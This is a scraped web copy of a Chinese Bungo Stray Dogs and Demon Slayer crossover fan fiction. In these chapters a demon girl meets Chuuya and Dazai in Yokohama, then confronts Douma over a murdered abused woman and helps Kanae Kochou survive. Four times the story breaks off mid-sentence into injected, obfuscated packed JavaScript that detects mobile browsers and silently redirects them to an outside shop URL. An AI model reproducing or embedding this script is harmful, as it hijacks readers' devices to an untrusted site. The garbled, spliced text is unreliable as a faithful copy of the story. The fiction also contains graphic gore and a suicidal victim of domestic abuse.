在他说的时候,我大概已经知道是哪个倒霉的异能者被他看中了…… 嗯,不得不说如果他能加入港口mafia绝对会是个勤勤恳恳的劳动力,再想到森先生说服别人的功力,啧。 看来很快就要有新的同事了。 ——【雪野夕の日记,11月9日。】 雪野夕带着帽子,手里拿着黑伞收纳成的手杖,手里拎着刚刚去采购回来的游戏机和各种少女漫画。 整天看别人火并已经很累了,想怀念自己以前那种每天只需要喝茶插花的生活就只能看少女漫了。 她拐进一条小路,只是因为其中吹来的夜风很凉爽。 虽然路灯黯淡,但雪野夕发现,这条小巷子里居然开了一家小店,贩卖各种稀奇古怪的东西。 有各种型号的弹壳、古旧生锈却花纹神秘的腰带、不知何年何月生产的零食,她打赌绝对是无人问津的口味。 但她停下来的目的不是这些,而是靠近街道的玻璃展示柜上放着一瓶红酒,里面的酒液是醉人的金红色,酒瓶上至少有上万个切面,整体形状却是饱满的心形,这让它即使在一盏小灯下也闪闪发光。 雪野夕喜欢这种没用但闪亮的东西,她看向柜台后面醉醺醺的光头老板,“请问这瓶酒你卖吗?” 正在擦着一柄骨刀的店老板抬起有些发红的眼睛,上下打量了一下这个开口问价的小女孩,哦天哪,她看上去绝对没到十八岁。 “小孩子怎么出现在这种地方……去去去。”他挥手赶人,又小声嘀咕,“再说这酒不知道是哪年的,恐怕早就坏了。” “瓶子很好看。”雪野夕没理会他的自说自话,“开个价吧。” 老板的眼珠子转了一圈,最后视线落在她在幽暗灯火下发出浅浅光晕的和服和发带上,发带尾部还坠了一颗小小的红宝石。 看上去是个富家小姐,他想。 “哎呀,这可是上世纪的名酒呢。”他换了个说辞,“要价……” “黑泽!你跟她废什么话?”店外传来质问的声音。 几个穿着便衣的人站在门外,腰间配枪,神色隐约还带着几分紧张。 “没时间了!”刚刚说话的男人催促店长黑泽,“你干脆直接把她身上的东西都抢了,然后马上撤退!” 黑泽悻悻然,但也马上从身后摸出了枪,“对不起了,这位小姐,如果不想让子弹打穿头颅的话,最好还是把钱都交出来哦。” “看来我是闯入了什么接头现场吗?”雪野夕握住了酒瓶,举起来观赏。 灯光照耀,散射出来的光斑洒落在她的衣服上,形状很不错,让她的心情不知不觉好了起来。 “你什么时候拿到的!?”黑泽手里的枪往前一顶,他刚刚完全没看见她的动作啊! 身后的人还想要不耐烦地催促,其中一个却突然“呃”了一声,身体横飞出去,远远地摔落在巷子尽头。 “……是他!他追来了!” 纷杂的打斗声顿时充斥在店内二人的耳边,看着开始发抖的黑泽,雪野夕笑眯眯地说:“看起来你们的仇人找上门了哦。” “被打之前就把酒送给我吧?” “混、混账!” “砰——” 巨大的压力下,不管不顾的黑泽直接扣动了手中的扳机。 飞旋的子弹从一片空气中划过,打碎了玻璃门,直指门外那个双手插兜的人影。 最终停在了他的身前,在重力的作用下无法再前进一分。 “哎呀,好险啊。”雪野夕站起来,神色却很轻松,“差点就被打中了呢。” “喂。”那个阻拦下子弹的橘发少年出声了,“你是哪里来的,还不快离开这里?” “抱歉抱歉,拿到想要的我就走了哦。”雪野夕跳过一地的碎玻璃,月光下,她完全看清了对方漂亮的橘发和钴蓝色的眼睛。 这也是一个可以去少女漫再就业的人呢。 中原中也的视线在她抱着的游戏机和漫画上停留了一瞬间,又看到她黑丝绒装饰着绿色缎带的帽子,不方便出行的和服,还有侧麻花辫上垂落的宝石,不是很客气地提醒了一句,“横滨晚上很危险,如果只是为了这些,下次不要在晚上出门。” “多谢提醒,这位好心的漂亮少年。”雪野夕抱紧了怀里的酒,他刚刚的视线绝对是在酒瓶上停留了很长时间,“不过这瓶酒不能送给你当做报答哦。” “谁、谁说想要啊!”他的脸似乎红了一瞬间,“不想死就赶紧走!” “啊啦——”两人上方突然传来一个声音,“似乎看见了一个凶女孩子的混蛋呢。” 太宰治穿着黑色西装大衣,依旧缠着绷带,脑袋上顶着栗子酱从墙上跳下来,他像只灵活的黑猫,衣角飘荡出柔软灵动的弧度,话音落下时就落在了雪野夕旁边。 “哈?”中原中也瞪了他一眼,“你又是从哪里冒出来的?” “雪野酱,他好凶哦。”太宰治不理他,转而向雪野夕撒娇,声音黏黏糊糊的。 广津柳浪老爷子不会已经带着黑蜥蜴在巷子外面等着了吧?雪野夕用眼神问他。 才不会,毕竟我们现在还没有到需要采取“请人”手段的那一步呀。太宰治眨眨眼睛。 栗子酱从他头顶上飞下来,叼着雪野夕侧马尾上的宝石玩。 “今天的发型,看起来很容易死掉哦。”太宰治看着跳来跳去的栗子酱,“不知道这个定律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306271|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在现实中是不是也会成功呢?” “那要帮你编一个试试吗?”雪野夕沉吟,“我也是看到侧麻花辫必死定律所以才想试试的。” “那得没有奇怪的人来搅局才算公平呢~” “别自说自话啊你们两个!”站在一边的中原中也切了一下,“都说了快点离开……” “是想要带回被抢走的物资吗?”太宰治突然笑了,但周围的风似乎在这一刻静止了,横七竖八躺在周围呻吟的人不知何时也停下了出声,只剩下昏暗灯光里站着的三人。 “中也!” 在这种气氛下,小巷子口终于又赶过来两个人,一女一男,一来就急匆匆地围拢在中原中也旁边。 “物资抢回来了吗?” “中也,他们居然敢动我们的东西!你一定要给他们个教训啊!” “噗哈哈哈~”冷眼旁观的太宰治终于放开了笑容,“对于可以保护自己的同伴,没有丝毫关心,反而将他当做工具一样……” “真的是好惨哦,雪野酱。” “真是多嘴啊,太宰。”被叫到的雪野夕将手里的游戏机和漫画扔给他拿着,“在别人交流感情的时刻,你的话有点密了。” 被围住的中原中也:“……” 这话听起来怎么怪怪的。 “嘛~”太宰治随手掏出一本漫画书看了看,“反正地上这些也只是先遣小队吧,今晚没看到好戏呢,那么我们就走吧,雪野酱。” “正有此意。”雪野夕用手杖敲了敲地面,无视那两个正在瞪她的陌生人,“期待下次再见,漂亮的中原中也先生。” 两个人的身影越过他们,消失在拐角处。 “什么怪人!”被奇怪的称呼弄得浑身不自在的中原中也有点跳脚。 而另一边,走出巷子的雪野夕终于忍不住,用和服的袖子挡住脸,但身边的太宰治还是没错过她低低的笑声。 “中原中也……”雪野夕笑得停不下来,“他是中原中也哈哈哈哈哈哈。” 太宰治终于又发现了自己搞不懂的东西,“哎?刚刚的小矮子很好笑吗?” “小矮子?对,你是太宰治啊哈哈哈哈哈哈哈……”想到了奇怪东西的雪野夕笑得更大声了。 她甚至走两步就要停下来笑一会,直到眼角都浮现出了泪花。 “啊,真可恶啊。”太宰治忍不住挥了挥手里的纸袋,“我可要把雪野酱的游戏机和漫画带走喽。” “不,别。”雪野夕抢回纸袋,一个响指把它们送回了自己的办公室,主动转移了话题,“所以我们的首领大人,决定什么时候动手?” “这个嘛……”太宰治小小地哼了一声,表示自己暂时不计较,“雪野酱认为想要拥有一只猫应该怎么做呢?” “当然绑架代替购买啊。”她转了转手里的手杖,“先用猫罐头将它引诱出来,再让它孤立无援,最后也就只能跟我回家喽。” “恰好,这是森先生一贯的作风呢。”她感叹,“毕竟你也算他捡来的小猫咪。” 13. 穿越定律 每天写日记是个很累的事情,正常人应该不会每天都写日记的吧? 虽然我有时候也会把写日记变成跟栗子酱的闲聊,但我的下属还是非常好奇,比如为什么上司总喜欢自言自语。 好在港口mafia的正常人不多,所以我完美地保留了鬼的作息,昼伏夜出,不喜欢跟人打交道,在外人看来从没吃过东西,但在这里的风评,居然意外的好? 因为他们私底下对我的评价是“只喜欢一个人思考不喜欢为难下属的超绝上司”。 不过一旦想到绝对的执棋者和理智型选手森先生、要求二十四小时待命并且随时随地都在嫌弃属下们不够灵敏的太宰治和时常泡在审讯室高强度审讯别人的红叶姐,我悟了! 在这里,我竟然是难得的良心。 太感动了,但白天的工作还是要让他们来干的,还要让他们记得把任务报告的格式写得好看一些。 不过听说中原中也是个富有责任心的人,甚至有羊之王的称号,啧啧,不愧是森先生啊,挑选的人身上也具有自己不具有的良好品质呢。 啊……写到这里,听到栗子酱在叫我了,计划表上似乎说过两天就要展开对羊之王的行动吧…… 总之先去看看栗子酱发生了什么。 ——【雪野夕の日记,11月29日。】 “重要节点——开启!” “什么?”一靠近栗子酱就听到这么一句话的雪野夕一愣。 然后她眼前爆发出一阵刺目的白光,差点就让她以为自己是在面对什么闪光弹了。 光芒消散,她已经茫然无措地站在了一条清澈的溪水旁边。 水面上正倒映着数不清的星星,啊,正是让她难得升起感慨的景色呢。 所以她这是……又回来了? 轻飘飘地略过森林中的树影,推开半掩着的院门,屋内的木地板上几乎连灰尘都没有落下多少,一切昭示着她在横滨的几个月,在这里也不过是一瞬而已。 雪野夕几乎立刻就想就地摊下来,嗯,这个世界里可没有随时随地给人分配任务的森先生啊。 “不能休息!不能休息啾!”栗子酱唧唧喳喳地在耳边飞来飞去,“有重要剧情正在发生!” “什么啊。”雪野夕挥了它一下,“重要剧情?难道这个世界也是什么漫画世界吗?” 栗子酱一下子闭嘴了。 “哦?”这下雪野夕来了兴趣,“看来我猜对了。” “必、必须去啾!”栗子酱有点心虚,从飞改成了在地上跳来跳去,像只圆滚滚的毛球。 不,它本来就是吧。 “您、您是勇者大人啾!”栗子酱还在蹦蹦跳跳,“本来就应该去见证重要剧情节点嘛,再说、再说……您还有好几个节点没赶上呢……现在正是干活的时候啊啾!” “我确实很有兴趣。”雪野夕没理会它后半句话,她还想问这个世界里发生的事情怎么就这么密呢,整理了一下自己的和服,“如果是现实世界发生的事,可能确实乏善可陈,但仔细想想这种热血少年漫……” “那我可要去看看怎么个事了。” ———— “西南方向有鬼出现!西南方向有鬼出现!” 在血鬼术和系统的辅助下,她很快就找到了那只正在大叫的鎹鸦。 西南方向啊…… 比起躲在暗处看着鬼杀队主动杀鬼,她更倾向于主动出击。 以雪野夕的速度,人类剑士与她毫无可比性,她甚至比鎹鸦还要早到达目的地。 这是一座整洁有序的小镇,夜晚踏入此处,会感到超乎寻常的宁静。 雪野夕拨动了一下自己的辫子,森先生送的那顶礼帽被她留在了办公室里,带习惯了之后,现在脑袋上空空如也的感觉让她有点不适。 街边没有装上新式的电线杆,她也无需点灯,黑夜如同轻纱,影影绰绰地围拢过来,像是冰冷的裙摆不断拂过她的面庞。 风里却隐约传来一阵血腥味,看来隐藏在黑夜之中的鬼怪,最终还是忍不住露出了獠牙。 她换了一个方向,朝那里疾驰而去。 越接近,血腥味就越重,到最后简直像是浓郁到化作丝带缠在了她的肺上。 还有一种隐隐的臭味,那是人类腐烂后的味道。 她轻手轻脚地停下了,因为眼下已经到了路的尽头,一栋古朴秀丽的房子正静静地树立在那里,沉默地邀请羔羊走入。 里面是非常平常的枯山水,看起来实在没什么奇特的。 她的同事选了个这么靠近人类居住地的地方藏身吗? “这位小姐,既然来了,为何不进来呢?” 有点熟悉的声音从院落中传出来。 雪野夕推门而入,因为刚刚那句话,她还以为是太宰治在说话呢。 那种相似的声音和漫不经心的调调,甚至连有点有气无力的尾音和拖长的语气都很相似。 很快,她就明白过来不是对方故意的了。 因为翻过墙壁后,正对着她的纸门已经拉开,里面侧坐着一个漫不经心的男鬼。 他身穿一身很有特色的服饰,面容秀美,白发上有一滩血迹,色泽斑斓的虹膜中分别写着“上弦”“贰”的字样。 更重要的是,他身上此刻血迹斑斑,苍白的双手和手中的黄金折扇更是完全被红色浸染。 而血液的主人当然不是他,他身侧倒着一个穿着朴素的女人,鬓发散乱,四肢还在微微抽动,但胸腹已经被扯开吃掉了一部分,此时脏器暴露在空气中,像是主人在世上发出最后的哀鸣。 “哇哦,居然是位可爱的小姐吗?”对面的男鬼丝毫不在意地用血腥的手托起一边的脸颊,“我的名字叫做童磨,如果来找我进行换位血战,也许我也很乐意哦。” 他动作俏皮地指了指自己眼睛中的字样,唇齿边露出的牙齿好像表现主人不错的心情。 “那还是算了。”雪野夕毫不留情地拒绝了,“如果发起换位血战赢了之后,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306272|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要像你这样每晚坐在这里吃人的话。” “哈哈哈哈哈哈哈哈!”听完她的话,对方大笑起来,随后又动作无辜地在眼下擦了擦,“可是这位小姐是自愿被我吃掉的哦。” 雪野夕并没有什么表示,她走近了两步,问地上的女人,“你想要活着吗?” 这个人已经没救了,她很清楚,但世界上真的会有自愿将自己献出给鬼吃掉的人吗? 如果现在就用她的血鬼术给对方止血,再送去给珠世小姐的话…… 躺在地上的女人痛得神志不清,眼泪在脸上肆意流淌,用了好一会儿才理解她的问话。 生理上对生命与自由的渴望让她剧烈痉挛起来,但这种反应很快就被她压了下去,重新化作一片死寂。 苍白的女人轻轻摇了摇头。 是的,她是自愿被童磨大人吃掉的,对她来说,这短暂的人生已经腐烂掉了,如果能将残躯化作对方的一点养分…… 也算不枉此生了吧。 人生的最后时刻,她抓住了近处雪野夕的手,即使对方被夜风浸透,对她来说也是很温暖的。 她终于可以离开这个世界,离开将她圈入地狱的家庭,离开生活稍有不如意就肆意打骂她的丈夫,离开世界上不断劝她和丈夫好好生活下去的人,离开那个最终也站在了父亲那一边的儿子…… 雪野夕的手轻轻拨开了她的发丝,颈侧一道淤青勒痕出现在眼前,这并非是鬼的“杰作”。 而这个女人,就将头倚靠在她的掌心里,停止了呼吸。 这个世界上,有人因太过痛苦想要结束自己的生命,但长久的懦弱让她甚至不敢自杀,于是只能寄托于鬼怪,用最极端的痛苦让自己死去。 “可惜。”敲着折扇的鬼走了过来,“如果还活着的话会更好吃哦。” “要不要一起尝尝呢?这位美丽的小姐?”他歪歪头,毫不吝啬地发出邀请,神情无辜地像三岁小儿邀请别人来拼他的拼图。 “啊,要是我说。”雪野夕看懂了她的死志,轻轻抚上了她的眼睛,“我只吃男人呢?” “这样啊。”男鬼眼里浮现出一抹可惜,“但是我认为女人更有营养哦,毕竟是能孕育生命的存在嘛。” 连观念都有点相似啊,雪野夕有点头痛地想,但就是曲折的过程导致最终理念在相反的道路上狂奔了。 在两只鬼无声对峙之时,浓郁的血腥味已经引来了剑士的影子。 天空中的鎹鸦发出凄厉的尖叫声,随之而来的是一个灵动的身影,她披着类似蝴蝶翅膀的羽织,手持长刀,眼神温柔却坚定,落地后环顾一圈,将视线落在了满身是血的童磨和雪野夕身上。 但看眼神她好像把自己认成被抓过来的储备粮了…… “真是有趣的展开啊。”童磨摇着扇子,“尤其是对面也是个美丽的小姐呢。” “要不要来试试。”他对着对面的鬼杀队剑士露出了美丽却残忍的笑容,“试试你能否将这位小姐从这里‘救’走呢?” 14. 上弦之二 遇到了不喜欢的同事,差评! 感觉他是个没什么感情的家伙,虽然嘴上说着“喜欢女人,女人非常有营养”之类的话,但本质上还是把她们当做食物。 这种话语让我想到了以前一些不愉快的经历(笔迹又粗又重),当然,也是我开始写日记的导火索。 而且他的声音居然跟太宰那家伙有点微妙的相似,这种反差感让我觉得非常怪异。 不过说来,要是太宰那家伙变成鬼的话…… 他不会第二天一早就站在太阳底下自焚吧?! 感觉这个可能相当大…… ——【雪野夕の日记,11月30日。】 “请快点离开那里,小姐!”女剑士比出了一个标准的姿势,看起来她也看到了童磨眼中的数字。 今天她可能无法离开这里了,但至少要让无辜的人活下来! 鬼杀队花柱,蝴蝶香奈惠紧紧地盯着童磨漫不经心的身影,率先发动了攻击—— 【花之呼吸·五之型·无果芍药】! 花呼的第五种型以快速突刺为主,用来试探再好不过了。 但眼前的鬼不过是漫不经心地挥了挥手中的扇子,带起一阵寒气,突刺被他轻而易举地躲开,反倒是蝴蝶香奈惠浑身的肌肉感受到寒意,止不住地收缩了一下。 下一步的攻击自然也就不再进行下去。 她稳稳落地,这种方法,起码让她接近了那两位浑身是血的小姐! 香奈惠持刀挡在了雪野夕身前。 童磨脸上露出恰到好处的笑容,“真是聪明又努力的小姐啊。” 不知道她身后的鬼,是否会在战斗中咬穿她的脖子呢? 雪野夕读懂了童磨的眼神,对方戏谑的态度让她微微不快。 但吃人自鬼诞生以来,就是它们无法抵抗的宿命,所以童磨有这种猜想倒也正常。 香奈惠再次发动了攻击,但她担心身后的人会受到伤害,于是固执地不肯离开雪野夕身前。 在这方寸之地,攻击与防御都会受限,童磨只是打了一会儿就露出了无趣的神色。 “看来要稍微动点真格了哦~”他的眼睛里还是含着笑容,折扇收起在手中轻轻敲了敲。 蝴蝶香奈惠如临大敌,迄今为止,这只鬼一直在戏耍她,但此刻距离天亮已经不到一个小时,只要她撑过去,就能救下身后之人的性命。 “【花之呼吸·六之型·涡桃】!” 一瞬间,大范围的斩击包围了童磨,而她也借势冲了上去,准备继续攻击。 “真是美丽的剑技啊。”童磨感叹,“让我吃掉你,和我融为一体吧?” 美丽的女性啊,身上散发着守护他人的决心,看上去真是美味呢。 “【血鬼术·枯园垂雪】。” “【花之呼吸·三之型·御影梅】!” “哎呀。”童磨抬步走进了气喘吁吁的蝴蝶香奈惠,“居然能防御下来嘛?我真是越来越喜欢你了哦。” “小心。”身后突然传来一道女声,“他的血鬼术里包含的冰晶,吸入后会损伤肺部。” 可以说是天然克制呼吸法的存在。 香奈惠吃了一惊,但还是屏住了呼吸,强撑着肌肉酸痛的身体站了起来,“小姐,请您快点离开这里。” “即使看出不对劲也要救‘人’吗?”童磨已经在笑着拍手了,“真感人真感人~” “那么~”他的眼睛在黑暗中犹如闪亮的宝石,面庞上凝结着干涸的血渍,“【血鬼术·蔓莲华】。” 香奈惠踏前一步,右腿却无力地跪倒,可恶,身体已经到了极限吗?刚刚还是吸入了一点冰晶…… 离天亮只剩下二十分钟了,她不能就此倒下。 她,还能站起来! 用刀支撑着身体起身,但缭绕的冰雾已经裹缠而来,即使如此,她还是举起了刀。 “真是感人呐~”童磨的身影不知何时出现在了她的身边,“即使我是鬼,也会为这样纯粹的守护之心动心哦。” “想必你身后的鬼也是这样想的吧?” 什……什么? 守护……鬼? 蝴蝶香奈惠的心神动摇了一瞬,但她很快就镇定下来,可身侧童磨的攻击已经无法躲开,布满室内的血鬼术已经完全限制了她的行动。 千钧一发之际,一声响指打断了两人的战斗。 “哎?”蝴蝶香奈惠有点迷茫,因为自己居然一瞬间出现在了屋子的斜对角线之处,和刚刚的站位截然相反的方向。 而童磨则是一副“早就料到”的模样。 “果然,你也觉得这样积极的小姐很动人吧?”他摇着手中的扇子,眼中的喜悦好像是真的。 雪野夕才是面无表情的那一个,她身上的和服早就被死去女人的鲜血浸染得湿透了,“抱歉,刚刚没有出手。” “谢谢。”她看向有点不明所以的蝴蝶香奈惠,“你是……想要守护我生命之人。” “那、那个,不用谢的。”面对可能是鬼,但看起来就像是和她差不多大的女孩子的道谢,香奈惠还是有点不好意思,“你刚刚也救了我!” 她深吸一口气,重拾战意看向童磨,“猎杀恶鬼本就是我们鬼杀队的使命,即使这位小姐没有出手,也只能算是我技不如人而已。” “哎?怎么这样嘛?”童磨眨眨眼睛,倒是没看出什么遗憾,“那么再来一起玩一会儿怎么样?” “【月之呼吸·八之型·月龙轮尾】!”既然他都这么说了,下定决心要和他打一架的雪野夕也就不再跪坐在原地。 “鬼……会呼吸法?”角落里的蝴蝶香奈惠瞪大了眼睛。 居然是黑死牟殿下的招式吗?童磨瞪大了眼睛,反而咧开嘴笑了。 雪野夕没有用刀,或者说她的血鬼术就是无形的日轮刀。 只是试探的一击,童磨当然能躲开,但雪野夕的目的不在于此,她的一击直接将这间屋子的一侧劈开,而那个方向,正是太阳升起的东方。 微微晨光从天空一角透露出来,太阳即将升起。 “真是狡猾哎。”童磨表情不满地敲敲扇子,同时侧身躲过了香奈惠的一道突刺,“但是看在你们这么可爱的份上就原谅你们啦~” “你?原谅谁?”如鬼魅般从他身后出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306273|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雪野夕反问,“【暗月·宵之宫】!” “哇唔!”因为过近的距离而受伤的童磨不满地捂住了头,“真过分!” 让他幻视以前被猗窝座打的日子! 而雪野夕也微妙地停顿了一下,那句“真过分”让她幻视太宰治躺在地上耍无赖的日子! 她的攻击并不能对童磨造成什么真实伤害,因为她的目的是想让“救”了她的剑士安全离开,再说鬼之间的争斗往往没有结果,除非她和童磨现在就展开换位血战。 刚刚香奈惠和童磨在战斗,她也没有闲着,在脑海里对栗子酱进行了一番逼问。 在此剧情节点,鬼杀队花柱蝴蝶香奈惠战死,她的妹妹蝴蝶忍为了报仇成为了虫柱,在最终的无限城决战中以自身为诱饵引诱上弦之二童磨吞噬了她,也为消亡埋下了祸根。 而栗子酱让她做出的选择,无外乎就是那几种,救下花柱,或者放任她死去。 “不如想得极端点。”雪野夕讲了个冷笑话,“现在就按照童磨所言发起换位血战,虽然赢的概率很小,但一旦赢了,我们就是上弦二了。” “这个嘛啾……”栗子酱看起来在极速烧烤。 “刚刚看剧情,鬼舞辻无惨很讨厌童磨,基本不和他交流,他离谱的态度和思考方式,大概率也不会把我们说出去,不过万一我们真的赢了,就要被无惨得到行踪了。” “那就不要做这种假设啊啾!”栗子酱气得揪她的头发,“这种事还有概率吗?” “当然。”雪野夕把栗子酱收回袖子里,“四舍五入等于零。” 栗子酱:“……” 它的嘴又有点痒了。 “童磨的居然是教主吗?”她暗戳戳地摸了摸栗子酱,“吃掉苦难之人,开导伤心难过的人……还会把走投无路的人变成鬼,他是许愿机吗?” 就是愿望有点调剂,搞得大家也没有很满意。 “是这样没错啦,那勇者大人的选择呢?”栗子酱不抗拒雪野夕的捏捏,变成一摊鸟饼倒在她手心里。 “当然是和他对着干了。”雪野夕轻轻放好死去女子的身体,“毕竟我不喜欢吃女人这个设定啊!” 看剧情时间结束,雪野夕也刚好救下了即将受伤的蝴蝶香奈惠。 “看来今天不能再继续下去了。”童磨看着破损的屋子和天边的微光,“不过我会记得你们的哦。” 说完,他十分潇洒地转身离开,寻找无光处躲避去了。 雪野夕也退后两步,进入更深处的屋子里,“那位小姐,请问可以帮我一个忙吗?” “啊?”被叫到的蝴蝶香奈惠一愣,“好的呀。” “居然不问是什么就答应了吗……” “啊哈哈,但总觉得您不是坏人呢。” “姐姐!”一个少女的声音传来,随后化作残影扑到蝴蝶香奈惠身边,雪野夕认出她就是在几年后杀掉童磨的蝴蝶忍。 “我也该离开了。”看着蝴蝶忍看着她一身血迹警惕的模样,“麻烦您帮我安葬她,不过,请不要把她送回家里。” 言至于此,蝴蝶香奈惠也明白了什么,她重重地点了点头。 15. 虚哭神去 我没想到,在解决完童磨后会再次遇到珠世小姐。 她身边跟着的鬼愈史郎,血鬼术似乎是目隐,也正是这种血鬼术帮助他们看见了我的踪迹。 这次珠世小姐对我发出了邀请,我这才知道,原来她以前被鬼舞辻无惨欺骗,变成鬼后亲手杀死了自己的丈夫和孩子。 原本她想要活下去只是为了能亲眼看见自己的孩子长大成人而已。 珠世小姐希望我能加入她的计划,收集不同的鬼血,为将来能研制出战胜鬼舞辻无惨的药物增添一点筹码。 我知道她会成功的。 其实栗子酱给我看完这个世界的“剧情”后,我就知道它给我的任务我是不可能完成的。 幸好当初没有答应它,虽然现在也会被强制走剧情。 我最终同意了珠世小姐的请求,她也将目前研究出的一种药物给了我,具体作用是改造鬼的身体,让鬼也能再次食用人类的食物。 虽然只是过个嘴瘾,但这对我意义重大。 ——【雪野夕の日记,12月1日。】 “……具体情况就是这样的。”产屋敷的主宅里,蝴蝶香奈惠单膝跪地,向鬼杀队的主公产屋敷耀哉详细说明了她前日的经历。 “谢谢你,香奈惠。”因为受到诅咒而面容可怖的鬼杀队主公向她温柔地道谢,“可以再说说有关于上弦之二和那只会使用呼吸法的鬼的情报吗?” “遵命。”蝴蝶香奈惠深吸了一口气,“上弦之二的实力很强,如果不是他想要戏耍我,大概用不了多久我就会被他杀死。” “他的血鬼术似乎是控制冰,但是那位鬼小姐提醒我,他的冰晶能够损伤人的肺部,就像毒一样,是天然克制呼吸法的存在。” “……南无。”鬼杀队岩柱悲鸣屿行冥转了转自己手里的佛珠,“总之,以我们现在的实力,单独面对上弦必败无疑。” “我必须要更加努力的锻炼啊。” “你怎么知道不是那只鬼吃的人呢?”风柱不死川实弥问,胳膊绷得紧紧的。 “我赶到的时候,那位小姐确实满身是血。”蝴蝶香奈惠继续陈述,“但她的样子跟人类一模一样,从外表上看根本看不出她是鬼,而且她身上的血迹大部分集中在抱着尸体的部分,面部干净,反倒是上弦之二脸上沾满了血迹……” “最后,也是那位小姐使出了呼吸法,我才得以逃脱。”蝴蝶香奈惠结束了汇报,“我从没有遇到过会使用呼吸法的鬼。” 她以前难道也是鬼杀队的剑士吗? “听你的描述,她让我想到了一个人。”产屋敷耀哉温柔地说:“前不久,起始呼吸剑士的后裔同意了邀请,加入鬼杀队后,有一郎和无一郎曾向我说起过他们的救命恩人。” “现在看来,这位救命恩人是只鬼呢。” 这次的紧急柱合会议,水柱富冈义勇因为鎹鸦传来了任务,并未参加,除他之外,花柱、岩柱、风柱、炎柱等都到场了。 主公产屋敷耀哉静静地抬头,目光望向远方,这一次,千年来的命运会在他这一代终结吗? ———— 雪野夕当日一身狼狈,但太阳即将升起,她没有时间换衣服,只能先动用血鬼术将身影藏匿进了茂密的树林中。 “呼。”她松了口气,还没来得及开心,就听到一个沉稳有力的声音从背后传来—— “你这是去了哪里?” 雪野夕只好转身,看见了黑死牟皱着眉头,神情严肃的模样。 “刚刚遇到了上弦之二童磨……”她讪讪地把手背过去问好,“老师,您怎么在这里?” 黑死牟看着自己继子一身血迹的模样,有点嫌弃。 这孩子跟着他学月呼的时候,每天可都是非常整洁干净的样子,虽然有时候有点目无尊长,但毕竟还是小孩儿,只要剑技学得过关,稍微出格一些也无伤大雅。 “童磨吗?”他稍微点了点头,示意雪野夕到他身边来,“此处似乎是距离他的教会不远。” 他迅速结束了这个话题,问起了自己最关心的事,“这些时日,有没有好好练习?” 雪野夕有点汗流浃背,但她还有在横滨的生活经验呢,丝毫不慌,镇定自若地开口,“放心吧老师,这些天以来我从未懈怠,不但尝试了将血鬼术与呼吸法结合对战新式武器,还勇于尝试,挑战了一下上弦二……” 哈哈,在横滨和别人火拼怎么不算是对战新式武器呢? “哦?”黑死牟的六只眼睛看了她一瞬,又立刻从血呼啦擦的她身上移开了,“你这么努力吗?” “那入夜之后就让我来检验一下吧。”他的语气没什么变化,“现在去整理好仪容。” 入夜后,雪野夕又被黑死牟暴打一顿。 说是暴打也不至于,他们之间的对战更像是见招拆招,先由雪野夕使出月之呼吸的十六种型,黑死牟进行一番锐评,再由他出招,雪野夕抵挡。 “嗯,还算有点进步。”他收回虚哭神去,突然将刀扔进了气喘吁吁的雪野夕手中。 雪野夕赶紧手忙脚乱地抱住刀身,不明所以地看向他。 “虽然将血鬼术与月呼结合,也能完整地使出十六种剑型,但剑士只有手握日轮刀时,才能真正感悟剑术的灵魂。”他居高临下看着雪野夕,“我的虚哭神去就是用自身血肉铸成的,你也应该找到一把自己的刀才行。” 哦,原来是把虚哭神去给我体验一下,雪野夕心想。 但这把可以进阶为异形的刀实在是很帅啊,看着已经摆好了棋盘开始自己对弈的黑死牟,她抱着刀去另一边实验去了。 此时的虚哭神去并没有开启第二形态,整体长度对她来说也有点长,雪野夕以前只用过木刀,此时将它从刀鞘中抽出,试了几次突刺。 有点不顺手,但刀沉甸甸的实感似乎让血鬼术的运转更加顺畅了。 雪野夕试着将自己的血鬼术全力使用出来,体内的血液在不断奔流,双手握刀,从月呼的第一种型使出,连续不断地用出所有的型—— 在脑海中完成整个推演后,她睁开了眼睛,而世界同时也向她开启了新的门扉。 漆黑夜空中飞翔而过的麻雀,潺潺流水中摆尾的游鱼,远处树梢上干枯的松叶,还有…… 麻雀飞行时肌肉的走势变化、游鱼前进时鳞片的开合、松叶在树梢上随风震颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 